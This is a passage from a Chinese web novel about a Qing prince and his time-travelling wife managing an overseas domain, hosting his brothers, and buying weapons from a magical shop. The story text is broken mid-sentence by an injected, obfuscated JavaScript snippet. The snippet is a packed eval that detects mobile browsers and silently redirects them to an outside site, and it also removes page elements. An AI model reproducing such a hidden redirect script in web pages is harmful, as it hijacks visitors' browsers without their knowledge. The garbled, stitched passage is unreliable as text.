不过这些皇阿哥别苗头和他这个奴才关系不大,如今应主子命解释过了,人都走了,他也该回去了。 “他们几个没过来?”胤褆瞥一眼李阔空荡荡的身后,不甚在意地问道。 “几位阿哥回去换衣服去了。” “一个个的,不知道还以为是要出嫁……” “保清,我看到接应的官员了。” “嗯?我怎么没看到?” 舒禾上手扶住胤褆的额头往右转了转,又踮起脚按住他刚冒出一层发茬的头发往下按,“看到了吗?” “唔……看到了,有明珠、索额图、林家两兄弟,还有你之前一直用着的秋雨和秋那啥……” “是秋水。” “嗨呀,没区别没区别,反正我也不会和她们多打交道。” “打不打交道是一回事,记不记住是另一回事,我以后准备把她们管的那几个厂拨出去改为私营,作为商会的根底,大小也代表了商户一方,还是记住的好。” 胤褆点点头,算是应下,一边走一边就着舒禾刚才的话谈了起来。 “私营这事,估摸着不好办,她们几个手底下的厂都挺赚钱的,临时组建起来的户部那里全凭这几个厂撑起来,应该不会同意他们分出来。” “他们同意不同意是他们的事,能不能让他们同意是我的本事,关键是,你怎么想的?” “我?我当然是同意的啊!” 胤褆赶忙表明自己的立场,害怕舒禾不相信,当即列举起那几个厂私营的好处,“那几个私营后,就算是咱们自己的东西,除了交点税,剩下都能自己支配。 这就跟钱放到国库和私库的区别一样,我不同意我就是傻子了好吗?” “……你这话说的,不知道还以为是你提出的私营。” 她都没想到有这么个好处,纯粹是觉着女性在这里地位低,想弄个女性掌权者的商会,提高一下地位来着…… 已经把自己说心动了的胤褆闻言瞬间警觉,“你该不会是不打算把那几个厂弄私营了不?” “不,会弄。” “奴才携众臣参……见郡王。”明珠强撑把见礼的话说完,方才低头掩下眼里面的错愕。 怎么回事,除了大阿哥,其他几位阿哥怎么也来了?难不成是大清出了什么事,这几位出来逃难来了? 可也不对啊,如果是逃难,这几位脸上看上去也没有那家破人亡惶惶不可终日之感。 明珠回头和身后错一步站定的索额图对视一眼,眼神交汇间,就定下一会结束后私底下见的计划。 “明珠。” “郡王,奴才在。” “爷要带着福晋回府,你去,带着这几个……” 胤褆偏头看向那几个一下船就东张西望,左摸摸右摸摸一点见识都没有的弟弟。 说出了下半句:“不成器的弟弟,在中心城区逛逛,顺便给他们介绍一下周围的情况。” 明.并不想带小孩.珠:…… “嗤——” 扭头瞪了一眼幸灾乐祸笑出声的索额图,深吸一口气走到胤祉面前,弯腰行礼,“奴才参见三阿哥,接下来……” “明珠?”胤祉迟疑着唤了一声,确定没认错人后,方才道:“明珠,几年不见,你这脸上的褶子变多不少。” “呵——呵呵,奴才倒是不知,三阿哥对几年前的事还记得那么清楚。”明珠磨着后槽牙开口道。 说他老,他记下了,身份尊贵又怎么样,别忘了小鬼难缠的道理! 56.过渡 “几位阿哥,这边来,奴才带着你们去整个中心城池最豪华的地方逛逛。” “最豪华的地方不是大哥的府邸?” “当然……不是。”明珠微笑着摇头。 胤祉扭头和胤禛对视一眼,再看看其他三个,确定他们都来了兴趣后,一挥袖子,兴致冲冲道:“你这么一说,爷倒是来了兴趣,走,前面带路。” “是——” 余光瞥见几人没几句话的功夫就朝右边,想到右边都有什么的,应付来往官员女眷的舒禾右眼皮一跳,莫明有种不好的预感。 背在身后的手朝一边招了招,待冬至看到手势过来后,舒禾偏头附耳说道:“去将三福晋和四福晋带来,就说我这边有请。” “是,福晋。” 那几个皇阿哥想怎么玩怎么玩,明珠这人有分寸,顶多让他们出点小丑,但这两个弟妹就不一定了,她提前将人要走,也免得一会出事。 内心思绪百转千回,舒禾面上的表情却没有太大的变化,自始至终都是那敷衍到极致的浅笑。 应付的烦了,干脆对着诸女眷佯装有事,歉意地笑笑,直接开溜,从胤褆身后路过,一戳他后腰,接收到撤退信号的胤褆眼睛一亮,三下五除二应付完嘴边的问题,就急匆匆提了散场。 提完散场也不管其他人愿不愿意,反正他最大,他愿意,说完他就走。 脚步轻快的跳上马车,拉开车帘坐进去,见到里面先他一步上车的舒禾,神情自然的开始抱怨。 “早说不要应付他们了,你还不愿意,现在知道应付他们有多烦了吧?” “知道了,绝对没有下次了,”舒禾轻叹一口气,举起玻璃杯问道:“要喝茶吗?” “你喝过的?”胤褆眼睛扫过留了口脂的玻璃杯口,佯装矜持但快速的接过舒禾手里面的杯子,“只此一次嗷,下次不准再给爷喝你剩下的东西。” “……什么毛病。”矮桌上那么多玻璃杯不用,偏偏拿她手里面的,她还没说什么,自己倒是矜持起来了。 胤褆抬头将杯中剩下的茶一饮而尽,没听清楚舒禾低声说了什么,放下杯子后不由得问道:“你刚才说了什么?我喝茶,没听清。” “我说,你最好派几个人去看着三弟他们,我害怕他们几个涉世未深被人坑了。” “坑就坑了呗,正所谓吃一蛰长一智,作为大哥,我十分乐意看见他们长些智慧。” 得,这个大哥都不在乎,她这个大嫂也是白操心,舒禾略过这个话题不提,转而提起了那几个老赖官员。 “话说回来,你准备什么时候把那几个官员给砍了?” 胤褆嘿嘿笑道:“再等等,我准备瞅个好日子送他们上西天,毕竟人生就这么一次的事,不能大意。” 这话说的,不知道还以为不是砍头而是大婚呢,还瞅个好日子,什么好日子,变成鬼的好日子吗? 之前在大清海港那砍那几个贪官也没说瞅个好日子再砍啊,都是拿把大砍刀就直接砍了。 对此,胤褆的想法的是,好不容易拿到老爷子给的刀和圣旨,不用来好好做做文章,着实可惜…… “大嫂,我和四弟妹过来了,方便进去吗?” 听到这不应该出现的声音,胤褆眉头瞬间皱起,以眼神询问:她们两个怎么来了? 舒禾摇头:不知道。 舒禾确实不知道她们两个来干什么,她给她们两个的安排明明是单独一辆马车,但让两人在外边久等也不是待客之道。 “稍等,”提高音量回了一句外边等待的两人后,舒禾压低音量扯扯胤褆的袖子,小声道:“你骑马回去,把……” “把车让出来给你们几个是吧?舒禾,咱们两个才是夫妻,你抛弃我跟她们两个同乘一辆马车,你觉得安心吗?”胤褆控诉地看着舒禾。 “……安、” “嗯?”胤褆眯着眼睛发出警告。 “不安心不安心,我不坐马车了,我跟你一起骑马行了吧!” 说完,舒禾一撩裙摆,率先就下了车。 和卓和琪娜见到下车的舒禾,立马就围了上去,“大嫂,我二人初来乍到,独自坐一辆马车属实是有点不适应,所以就结伴来叨扰你了,还望大嫂不要嫌弃。” 两人带来的宫女们对视一眼,默不作声地往后再退两步,你们两个独自坐马车害怕,我们就都不是人,我们自动消失。 “不叨扰、不嫌弃,这辆马车你们两个坐就好,只是不巧,恰逢我想骑马回府,就不与你们两个同乘了。” 说着,舒禾对两人微微一笑,带着胤褆朝后方放马的地方走去。 “哎!大嫂……” 和卓拉住还想喊人的琪娜,“行了,再纠缠下去,不过是多惹人厌烦。” “可是……” “别可是了,上马车,等回了城主府,随你怎么黏着大嫂。” “不是,我就搞不懂了,她们两个没事干为什么总黏着你啊!她们是没有自己的夫君吗?非要来和我抢你,啧——” 胤褆烦躁地轻啧出声,“她们两个这样,该不会是老三和老四不行吧?” 舒禾抽搐着嘴角提醒,“保清,你这话要是被其他人听到,可是要闹出乱子的。” “行行行,我不说这个了,那换个说法,老三和老四连自己的人都看不住,还能看住点什么?” “甭管他们两个能看住什么,我只知道,你再不挑一匹马出来,我就要骑着我挑中的马走了。” “我现在挑。”胤褆看了半天,最后挑了匹和舒禾挑中的黑马看上去极为登对的白马。 看看自己□□的黑马再看看舒禾□□的白马,胤褆满意地点点头,“不错。” 舒禾握着马绳托着腮,好笑道:“每次看你在这些东西上浪费心思,我都不由得庆幸,早生了几百年。” “庆幸早生了几百年遇到如此英俊帅气的我吗?” “不。” 庆幸她不用收到那些看似真心实意,但全部都格外老土全靠商家营销才能卖出去的尴尬小礼物。 其他人她不知道,反正依着她对胤褆的了解,他若是知道有那么些东西,他是一定会买的。 一是他不缺钱,二是他真的、真的很喜欢那些被厂家赋予了各种意义的东西,就她现在的梳妆台上,就摆了不少西方各国打着爱情名义宣传的首饰、香水…… 一个个的,巨丑不说,还都格外贵,她也是搞不明白了,明明在有了先例后都断了胤褆的零花钱,后面那些他是从哪抠出来钱买的。 幽幽地叹口气,偏头看向胤褆,及其认真道:“我若是那卖保健品的,等你老了,一定会紧紧缠着你。” 无他,好骗。 胤褆握紧马绳,控制着马匹速度,听舒禾说的认真,不由得也认真了两分,然后就产生了一堆问题。 “保健品是什么玩意?为什么非要等我老了才来缠着我,年轻时不行吗?” “不行,年轻人不用保健品。” “为什么不用?” 舒禾并不想回答这个问题,白一眼胤褆,示意他自己体会后,扬鞭打马,一个加速直接越过胤褆往前跑去。 坐在马车内的两女看着跑走的舒禾,眼中不约而同闪过一丝羡慕。 她们两个在家中也是学过骑马的,却在嫁入皇宫后,如折了翼的鸟儿,连飞出去看看都是奢望,更别说去做些自己喜欢的事了。 若是嫁的是自己喜欢的人,那也不是不能忍,偏偏他们两个嫁的,都是那不解风情的…… 两人对视一眼,同时叹了一口气。 放下车窗帘的同时也发现了外人面前的那些仪态,和卓撩起衣服下摆,在琪娜欲言又止的目光中双手撑着捧脸,又重重叹了一口气。 “为什么我就不能是个男儿呢,是个男儿就可以如大嫂那般跑马了。” 琪娜沉默两秒,一针见血道:“可是大嫂是女儿身啊。” “是啊……”同是女儿身,可她看上去却比男儿还要肆意。 中心城区所建位置离海港并不远,骑马飞驰一个时辰就能隐隐约约看见城池轮廓。 又是半个时辰,两匹马飞速驶过城门,朝城主府的方向而去,紧随其后的是一队骑着马的侍卫。 望着一群人骑马远去的背影,守门的四个士兵你看看我、我看看你,不知道谁说了句,“咱们就这么放他们进去了?” “不然你去追?” “那算了,我刚才看见马鞍上城主府的标志了,估摸着是城主府的人办事回来了。” “万一你估摸错了呢?” “……那就错了呗。” 守城士兵的队长无意经过,听到这么一番炸裂的话,眼角是止不住的抽搐,快走两步,想要看看是哪个……哦,这个肤色啊,那就正常了。 新训出来的本地兵,就是这样万事不挂心的性子,你就算是罚他们了,他们也是念叨两句就过了。 脚步一转,士兵队长就换了个方向,这些人不挂心,总有那挂心的,他找他们的小队长去! “来人,把马牵去停好。”胤褆从马上跳下来,转身准备扶人,就见舒禾已经自己下来了。 舒禾拍拍肩头不存在的灰尘,双手平放在小腹前,瞬间起范,余光注意到胤褆下马后就没有动作。 不由得偏头看去,见胤褆傻傻呆呆的,挑了挑眉,好笑道:“傻了?” “傻是没傻,就是看呆了,说实话,我今天才意识到舒禾你原来这么会……这么会……”胤褆手从上到下的比划,愣是没敢把自己的真实想法说出来。 见他这样,舒禾干脆替他说了出来,“装相是么? 不过我以为你早该意识到我会装的,今天才意识到,啧,说实话,你有点不合格了。” 看看周围,确定下人们都背过身后,胤褆小心翼翼地凑过去揽住舒禾的肩膀,确定她没有挣扎的意思,腻着嗓音道:“我的错、我的错,好舒禾,教教我怎么装呗?” “你这夹子音跟谁学的?”她觉得她有被腻到。 “跟我额娘,她哄哈拉时就这样说话,”胤褆有些嫉妒地撇撇嘴,“我小时候都没这待遇。” 听到胤褆提小时候,舒禾来了兴趣,嘴角挂笑调侃道:“平常态度你就敢调皮捣蛋,额娘再给你这待遇,你岂不是 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房内,舒禾走到软榻边坐下,脸色难得有些尴尬,“咳,之前建城主府时,预设的有点大,金子有点不够,就把其他地方的一部分金子挪到了这边,所以……” 胤褆倒茶的动作顿住,“所以,驿站没建?” “嗯。”舒禾尴尬地点点头,印证了胤褆的话没说错。 房间内静默良久,胤褆方才缓声道:“没事,城里面不还有客栈嘛,大不了咱们出钱包一座,让他们去住。” “你确定他们看过城主府后会愿意去住客栈?” 要知道,这里的客栈可不是京城里面的那样,这里的客栈多少沾点当心人那懒散的性子,好些那屋顶破了都没人补。 城主府就不一样了,刚建没多久,里面的各式布局,统统采用了大清的建筑习惯,又取其精华去其糟粕,融入了点西方各国的因素。 看上去比之那客栈,好了不是一星半点。 舒禾这么一说,胤褆也想起了城里面那些建筑样式,之前还觉得有异域风格,现在嘛…… 整改!明天就让官府的人下去整改!统统按照大清的标准来! 但在客栈整改成功之前…… “我让李阔去吩咐人收拾几个院子出来给他们住,等时机一到,就把他们赶出去!” “还是我让冬至去吧。”身边就没几个得用的人,什么都指着李阔干,她都害怕把李阔累断气了找不到能替他的人。 看出舒禾眼里面表达的潜藏意思后,胤褆眼睛下撇,回想过往,他习惯用什么顺手了就一直用,人也一样,身边跟着的四个小太监里面,确实是李阔干的活最多。 轻咳一声,底气不是很足地道:“就依舒禾你说的来吧。” “冬至。” 舒禾坐在软榻上朝外扬声喊了一声,不过两秒,门就被打开,冬至半个身子探进来,很明显的询问姿态。 “福晋,可是有什么吩咐?” “将以花中四君子命名四间的院子外加其旁边的一间院子打扫出来,以供随行的五位阿哥选择。” “是,奴婢这就去安排。” 早晨官船靠岸,辰时四刻下船,因着骑马比马车快,两人未到午时便到了城主府,坐马车慢一些,但也在未时末到了城主府。 其间,有人还来禀告了一声,说是先行带着三福晋和四福晋挑了院子。 戌时,黄昏时,顾及着几人初来乍到、人生地不熟的,舒禾便安排人准备了一大桌子饭菜,想着聚聚,权当做是拉拢人了。 谁知道,人派出去了,却只带回来了和卓、琪娜两人。 “大哥、大嫂。” “不必多礼,自去找地方坐吧。”胤褆摆摆手,并不想看这些虚礼。 和卓、琪娜对视一眼,两人默契一致的走到舒禾身边,都想着坐她右边那个空位。 位置只有一个,人却有两个,最终,和卓凭着崩掉的仪态,成功抢到了位置,抢到位置后,和卓扭头对着琪娜挑了挑眉。 像是在说:瞧,我就说仪态这玩意,没什么用吧? 琪娜抿了抿唇,想到两人之前在马车上的谈话,第一次对从小到大收到的教育产生了怀疑。 席间四个人,只有自己一个男人,胤褆有些不自在地摩擦了一下坐下握着的舒禾的手。 还没来得及开口问进来的下人怎么不见他那几个好弟弟,就听外边传来了闹哄哄的声音: “大哥!弟弟要告状,你手底下那个明珠他居心不良,故意坑我们!” “大哥,弟弟想要借兵。” “大哥,弟弟想要你右边那个国家,希望请大哥相助!” “大哥,弟弟……” 一声声大哥、一声声弟弟同时响起,胤褆好似听见了无数只鸭子同时围着自己叫,根本分不清哪个是谁说的话,头疼的揉了揉眉心。 刚想训斥他们闭嘴,就被他们几个现在这副尊容给惊得把嘴里面的话咽了下去。 57.明码标价 只见早上还打扮得贵气十足的几人,现在一个个灰扑扑的,身上好些配饰,比如胤祉压衣角的玉佩、胤禛手腕上的佛珠、胤祺……统统都找不见了踪影。 整体看来,半点没有之前的神气,要不是脸还是之前那个脸,胤褆都有些不敢认了。 他的目光落在几人身上的配饰上,几个女子的眼神却是落在那些裸露出的肌肤上。 几乎是同时,几人都发现了不对劲,看着胤祉脖间和胤禛侧脸上那抹属于女子的口脂。 舒禾有些担心的往一边看了一眼,见和卓和琪娜都有些愣神,皱了皱眉,私底下与胤褆相握的手微动,划拉两下,暗示胤褆说些什么先打破现在的僵局。 接收到舒禾的暗示,胤褆微不可察地点了点头,表示知道了,接下来就看他的吧。 “食不言寝不语,现下正是用膳的时候,不谈公事。” 听到这里,舒禾眼里面闪过一丝满意,没错,就是这样,顺着往下说,不谈公事,可以聊聊私事,最后不着痕迹地透露一下今天都干了什么。 “不谈就不谈吧,大哥,一会去书房说?”胤祉一边走一边挽了挽袖子,目光四处巡视,想找找这房间里面有水没,他好洗个手。 “可……”胤褆正欲一口答应下来,余光瞥见舒禾眉头微不可察地皱了皱,话锋一转,“不可以呢?” 胤禛眨眨眼,有点不敢相信话锋还能这么转,“这不是城主府嘛,大哥你总不能连去书房商量个事的权利都没有?” 胤褆确定看到舒禾摇头了后,语气言之凿凿地道:“有,不去。” 一下子回答两个问题,顺便还讨了福晋欢心,胤褆内心十分得意。 感觉到身边人的得意,再看看那边还没有察觉自家福晋已经开始生气的胤祉和胤禛,舒禾抬手用手帕按住抽搐的嘴角。 心想:不是一家人不进一家门,没救了! 接风洗尘的一顿饭,吃的那是一个尴尬,舒禾根本就没吃多少,全程被席间那尴尬无比的气氛裹挟,吃到一半就宣称身体不舒服退场了。 舒禾一走,胤褆也没了继续吃下去的心思,环顾四周,简单说了两句场面话,也急匆匆地走了。 路上,还不忘吩咐一边跟着的李阔,“不用跟着爷了,你去小厨房,让他们做些好克化的食物送到正院去。” “是,”掉头走了两步,想到什么,李阔赶忙转回来问道:“爷,是一人份的还是?” “两人份。” “明白!” 胤褆远远看见前面路上先一步离场的舒禾眼睛一亮,小跑着到舒禾身侧。 看看舒禾的脸色和唇瓣,确定没有不舒服那种苍白,方才问道:“突然退场,是他们谁让你不舒服了吗?” “没,就是有点尴尬。”女子内心伤神,罪魁祸首却照常吃吃喝喝,看的她犯恶心。 “那还是他们几个的原因,没有他们你就不会尴尬,改天我约他们出来,揍他们一顿给你报仇。” 又走了几步,“哎对了,你在尴尬什么啊?” 舒禾并不想改口说自己是恶心而不是尴尬,干脆抛出了其他话题转移胤褆注意力。 “你没看见两个弟妹看着胤祉和胤禛的脸色有多难看?” 胤褆并没有关注她们两个,是以一时间不是很确定,试图回想,然而回想失败。 “她们两个……脸色有很难看吗?” 舒禾歪头看向胤褆,“先不说脸色,你看到他们五个露出来的皮肤上属于女子的口脂了吗?” “女子?口脂?” 得,反应说明一切,肯定也是没看见。 胤褆在脑海中将配饰消失不见和女子口脂联系到一起,猛然反应过来,“所以,明珠不是带他们去挖煤了,而是带他们去青楼了?” 舒禾耸肩:“嗯哼。” 胤褆暗骂一声,“这明珠!越来越没大没小了!” 居然带着主子往青楼钻! “这事你惩罚明珠可以,胤祉他们那边就别管了,管得多了惹人烦,等外边的客栈翻新好,就尽快将他们安排出去。” “好。” 因着今天这么一番谈话,第二天李阔找过来说是几个阿哥等在书房时,胤褆脑海中冒出的第一想法是,这几个去了他的书房,该不会把他的书房弄脏吧? 眼皮一跳,走到舒禾身边俯身耳语两句,见舒禾点了头,胤褆一脸放松地走了出去。 要说刚才说了什么…… “他们几个进了我摆收藏品的那个书房,我想把书房重新装修一下。” 紧接着,舒禾点头,胤褆离开。 胤褆离开后,舒禾放下描眉用的眉笔,对身后帮忙梳发髻的冬雪招招手。 “福晋?” “饭后,你去把秋风找来。”离开那么久,她得了解了解领地内都发生了什么事,虽说胤褆那边得到的消息从来不避讳她。 但没点自己的消息渠道,总是靠着胤褆得到消息,她害怕自己什么时候被骗了都不知道。 尽管他们两个现在看来什么都好,但是人心这玩意,要是想要变化,也不过朝夕之间罢了。 同一时间,前往书房的路上,胤褆哼着小曲,好心情的朝李阔炫耀,“爷一句话,福晋就给爷花了这个数,知道不?” “知道知道,爷,咱们快点走吧,要不那几个阿哥该等急了。” 李阔边说边腹诽道:本来是不知道的,但耐不住您非要炫耀啊,那四根手指头就快戳我眼里面了,说不知道谁信啊! “哎,老四,你过来看看这个水晶球,里面有对并肩而站的小人……” “把东西给爷放下!” 胤褆沉着一张脸踹开房门,眼睛死死盯着胤祉手里面的水晶球,快步走到胤祉身边躲过水晶球,看着里面没有移位的两个小人,重重的松了一口气。 这玩意不好定制,一般水晶球里面都只有一个人,当时废了他好大功夫才弄来他和舒禾的双人版水晶球,要是被胤祉给弄坏了,他能当场不顾兄弟情份把这家伙打出去。 珍之又珍地摸了摸水晶球方才转身交到李阔手里面,“去,将东西好生收起来。” 胤祉见胤褆这个态度,也有些慌了,“大哥,我不知道这东西对你这么重要,我要是知道我肯定不乱动……” “暂且不论这东西对我重要不重要,我记得众兄弟学得的礼仪方面,好像教了,没有主人允许,不要乱动其东西吧?” “是,我的错……” “行了,这些口头上道歉我不是很感兴趣,只此一次,再有下次,这城主府就留不得你了。” “是,弟弟记下了。” 见这边的事情告一段落,胤禛歪头看看垂头丧气的胤祉再回头看看几个祈盼的看着他的弟弟,咽了咽口水,毅然决然地去搭话了比刚看上去好一些了的胤褆。 “大哥,弟弟们一起过来找你,是有事相求,不知可否清下场?” 胤褆没说话,但摆了摆手,见状,李阔带着两个进来摆茶的小太监朝外走去,临出门,还不忘将房门给带上。 “嘎吱”一声过后,书房内陷入长久的静寂。 几个小的是想着天塌了有上面两个顶着,两个大点的则是想着,刚才话都说到那份上了,大哥怎么也要问问所求何事。 胤褆嘛,胤褆忙着打量书房中的藏品,才没空理他们,擎等着他们受不住了耐不住跳出来说自己的来的目的。 反正左右不过那么点事,他也能猜到,不急着问。 一刻钟、两刻钟……茶凉了又换,第一个耐不住的人跳了出来。 “大哥,弟弟想跟你借点人经商。” “经商?”胤褆狐疑地看向出声的胤祐,“就只是经商?” “我没有几个哥哥的雄心大志,只想着多赚点钱过好自己的生活就好。” “你想经商,找我是找错了,你应该找小九。” “没找错,我跟额娘在一块分析过了,比起跟着小九干,不如跟着大哥你,虽说你平时不显山不露水,但有魄力出海,还不是一次,就说明……” “行了,打住,你的事先放一边,过两天我让李阔给你信。” “不管成不成,我都在这提前谢过大哥了。”说着,胤祐朝胤褆腼腆一笑。 那样,看的胤褆牙酸,他之前怎么没发现众皇阿哥里面还藏了一个、嗯……傻的? 不过两句话的功夫,宫里面的额娘都搬出来了。 胤禛深吸一口气,回头和缩在后边的胤禩对视一眼,沉声道:“大哥,我和小八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199758|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想跟你借点兵,出去闯闯。” 面对胤禛的请求,胤褆很爽快就答应了下来,“可以是可以,但我把兵借给你们,你们能给我带来什么?” “一份助力?”胤禛有些迟疑的回道。 “嗤,老四,助力这两个字说出来,你自己不觉得可笑吗?” 现在连点兵都需要他借,却说能给他带来助力,什么助力,在脑海中助力吗? 见胤禛被一句话怼的有点自闭,胤禩上前两步,目光直视胤褆,一字一顿道:“皇位。” 再听到‘皇位’这两个字胤褆莫明有种恍惚感,不过只是一瞬,下一秒就缓了过来。 “小八,不得不承认,有时候你很聪明,但你真的觉得,现在的我想要皇位?” 胤禩不甚在意地回视,觉得胤褆现在这样只是嘴硬,他一个背后没什么势力是皇子都幻想过自己登上皇位,他就不信胤褆背后有钱有权会没想过。 “若是你以帮助我们为要挟,要我们助你登上皇位,有五个皇阿哥,未曾没有和太子一争之力。” 手指轻叩桌面,身体后仰,胤褆看着屋顶,笑的眼泪都快流出来了。 待到笑够了,胤褆坐直身子,看向几个有点懵圈的弟弟,神情倨傲,“我确实有一争之力,但不会是靠你们。” 他靠的从来都是他的实力、他的身份, 论身份,他和太子一个长、一个嫡。 论实力,当初他若是不明显摆烂,直接干掉明珠,断自己一臂,表明自己的态度,后边不出海,而是留在大清,现今这朝堂,就是他和太子的天下,他们两个会把底下这些弟弟压的永无出头之日。 现在,他虽然是没有在大清有建树,但在这属于他和舒禾的领地内,他拥有的兵力却也不容小觑,这一个个的,可都是直接听他调配的。 “我有的,是你们想不到的,”胤褆摆摆手,不欲和他们多谈,打开下面的抽屉,从中抽出几张白纸放到桌面上,“一人一张,写下要借什么,咱们明码标价,银货两讫,各不相欠,只谈利益、不谈兄弟感情。” 虽然谈兄弟感情也几乎没有就是了。 书桌上的白纸一张纸被抽走,不一会又被一张张还回来,只是多了些墨迹。 见几人都把自己想要的东西写好了,胤褆站起身伸了个懒腰,“一万兵一万两黄金,三年,期间他们的俸禄归你们,战亡者,令要百两白银,是为抚恤金,可有异议?” “并无。” “我有!”胤祐举起手,在几个兄弟或诧异或疑惑的目光中上前两步,“大哥,我借的并不是兵,而是经商之法,这个怎么算?” “……你的,另说。” 这领地内,他只管兵部那点事,经商什么的,都归舒禾管,他是不插手的。 可以这么说,如果有一天他惹舒禾生气了,舒禾一气之下想要断军队的粮食供给,就算他是这个领地上明面上的最高掌权者站出来阻止也是屁用没有。 “啊切!”舒禾举起手帕捂住下半张脸,对欲过来查看她如何的秋风摇摇头,“我没事,你接着刚才的地方继续说。” “您和郡王离开不久,边界那边就发生了点小躁动,有他国之人贸然越过边界线射杀了一名士兵,这事作为导火索,引发了内部矛盾。 领地内留守的人就因理念不合闹了起来,闹事的人主要分为两方,一方是以明珠和索额图为首的主和派,另一方就是以林家两兄弟为首的主战派。 其中,主和的忧虑是您和郡王都不在,迎战恐被人截后,主站则是觉得不应战,做缩头乌龟,容易在四方相处中落入下成……” “这件事我大致了解了,除此之外,还有其他事吗?” 秋风有些迟疑的看了舒禾一眼,“倒是还有一件事,但奴婢不知道该不该说。” “但说无妨。” 有了这四个字,秋雨不再迟疑,一股脑就把事情说了出来。 “纺织厂那边,在您离开后,有人贸然插手,辞退了不少女工,按照您的吩咐,我们没有惹事,只是将那些被辞退的女工安置到了私产处干活,但不知道是不是因为没有反抗的原因,那边越来越嚣张,现今……现今……” 见秋风吞吞吐吐,舒禾眼里面闪过一抹厉色,冷声道:“说。” 58.开杀 “现今那边名义上的厂长虽说还是秋水,但实际上的掌权者已经变了。” “动手的是谁?” “是之前随行一起过来的官员,名赵迁。” “赵迁,呵——倒是个好名字,”这脑袋确实该迁个地方了,“除了纺织厂,可还有其他厂出现这种情况?” 在舒禾的目光注视下,秋水缓缓吐出三个字:“武器厂。” “可有得手?” “那边重要,咱们的人不敢松懈,得手却是未曾的。” 手指轻叩桌面,短暂的沉默过后,舒禾开口问道:“动手的也是赵迁?” “回福晋,不是,是孙榷和钱序两名官员。” 舒禾在脑海中搜寻了一番,确定对这两个人没印象后,方才开口问道:“这两人,在何处谋职?” “户部。” 又是户部啊,舒禾眯了眯眼,心中想道:这户部怕不是已经全都是蛀虫了吧?不过全是蛀虫也好,方便了她接下来取缔户部的计划。 “可还有其他事,如果没有,就下去吧。” “是。” 秋风离开后,舒禾起身走到书架边,手指在面前的一排书上划过,最后停在最厚的那一本上,重重按了下去。 一阵微小的异动过后,书架翻转,露出足够一条两人并行的通道来。 返回书桌旁,找出火折子点燃放置在书桌上的烛台,拿在手中,径直朝着那通道而去。 进去后,密道门在身后缓缓合上,整个人彻底没入一片黑暗,手中烛台成了最后的光源点。 顺着通道一路前行,数步之后,进入一方密室,细细观来,赫然是比照着外边那间书房做的布置。 将手中烛台放到密室书桌上,手指轻轻在桌面上划过,清净无尘,想必是刚打扫过没多久。 反身坐在雕花大椅上,望着幽幽的烛火,轻声道:“还不出来吗?” 【你怎么发现我的?】 舒禾双手撑着桌面托腮看向发出声源的地方,“知道这里的人寥寥无几,密室的打扫时间两日一次,为每日凌晨,其他时间,并不会有人进来打扫。 按照回来的日程,应该是昨天凌晨刚打扫过,今天凌晨才是下一次打扫时间。 一天一夜时间,桌面上按理说应该有点薄灰的,现在却并没有。 不是人还知道这里的地方,可不就只有你了嘛。 【……推理的很好,下次不要再推理了。】 “宝石,你这就有点不讲理了啊。” 宝石从暗处飞出落到桌上,也知道自己刚才的话有点不讲理,轻咳一声,转移话题道,【商场上新了,你要看看吗?】 察觉到宝石想转移话题,舒禾眼睛一转,卖惨道:“不看了,反正看了也买不起,宝石你是知道我的,现在哪哪都需要钱,唉~” 舒禾佯装悲伤的叹了一口气,随后就等着宝石接话,她好接着卖惨。 谁知道宝石就那样静静看着她,一副你接着演、我就这样静静看你演的模样,根本不她的话茬。 见状,舒禾眉心微动,自顾自道:“当然,你若是能适当的给我打个折,我想,我还是很愿意在商场里面消费一波的。” 【下次直接说想要打折商品就行。】这样卖惨属实有点没必要了,那演技自己心里面没点数? 宝石一挥手唤出光屏,操作两下,将光屏放大推至舒禾面前。 而经过操作,呈现在舒禾面前的商品个个右上角都标注了个‘-20%’。 “八折?聊胜于无的折扣啊,不能打六折或者五折吗?” 【如果不想要,我收回。】 “哎别别别,我这就挑、这就买!别收回!” 舒禾一翻商品,发现了一丝不对劲,“为什么这上面这么多武器?” 【最近不太平,多上点武器让你能更好的保护自己。】 “但这也太多了吧,感觉不是想让我保护好我,而是想让我去称霸世界。” 【想多了,就算是有这些东西,你也称霸不了世界。】 舒禾不满地撇撇嘴,故意和他唱反调,“我倒是觉得可以。 买下这些武器研究图,生产出来后,按照比成本多一半的价钱卖给其他国家,挑动他们互相开战,我则接机大肆敛财,等他们都疲于应对时,我再跳出来坐收渔利。 如此反复,称霸世界不救指日可待了?” 【可是,你不会那样做,不是吗?】 舒禾闻言停下挑选商品的手,抬头直直地看向宝石,淡淡道:“你又怎么知道我不会?” 【我就是知道。】 “……那恭喜你猜对了,我确实不会。” 不是说她善良什么的,这些年来出海,虽说没有直接死在她手里面的人,却也有不少间接死在她手里面的人,好些都是因为她下命杀的。 之所以不会,不过是划不来外加她没有那么大的野心罢了。 垂眸将目光落至光屏上,将方才看好的都加入购物车,确定没有遗漏后,起身走到角落堆积的箱子旁,手指拨动卡扣,打开放在最上面的那个箱子,歪头示意宝石收钱。 【刚刚还在卖惨,转眼就拿出这么多金子,你可真是……】 “真是什么?” 宝石摇摇头飞过去收钱,【没什么,你只要当做夸你的话就好。】 这么明显的谎话,傻子才会听不出来,舒禾磨了磨牙,看着飞在半空中的小人,一手指敲在他额头上,嗯……这下子心里面舒服了。 【……你还是这么幼稚。】 “哪有,我在外人面前很威风的好吧!” 【好好好,威风、威风……】宝石一边收金子一边无奈附和道。 在密室里面和宝石待了半天、聊了不少东西,一出去就看到坐在椅子上低着头不知道在想什么的胤褆,三步并做两步走到他面前,拍拍他的肩膀,好奇道:“想什么呢?” “嗯?你出来了,”胤褆一脸恍惚地抬起头,揉揉眉心,将拿回来的纸递给舒禾,“是七弟的事,其他几个都想着借兵好打个地方称王,他却想着经商,我寻思着过来找你出出主意。 进来不见你,又听守门的说不见你出去,猜到你去了密室,索性就坐在这等,等久了有点晃神,差点睡着。” “经商?” 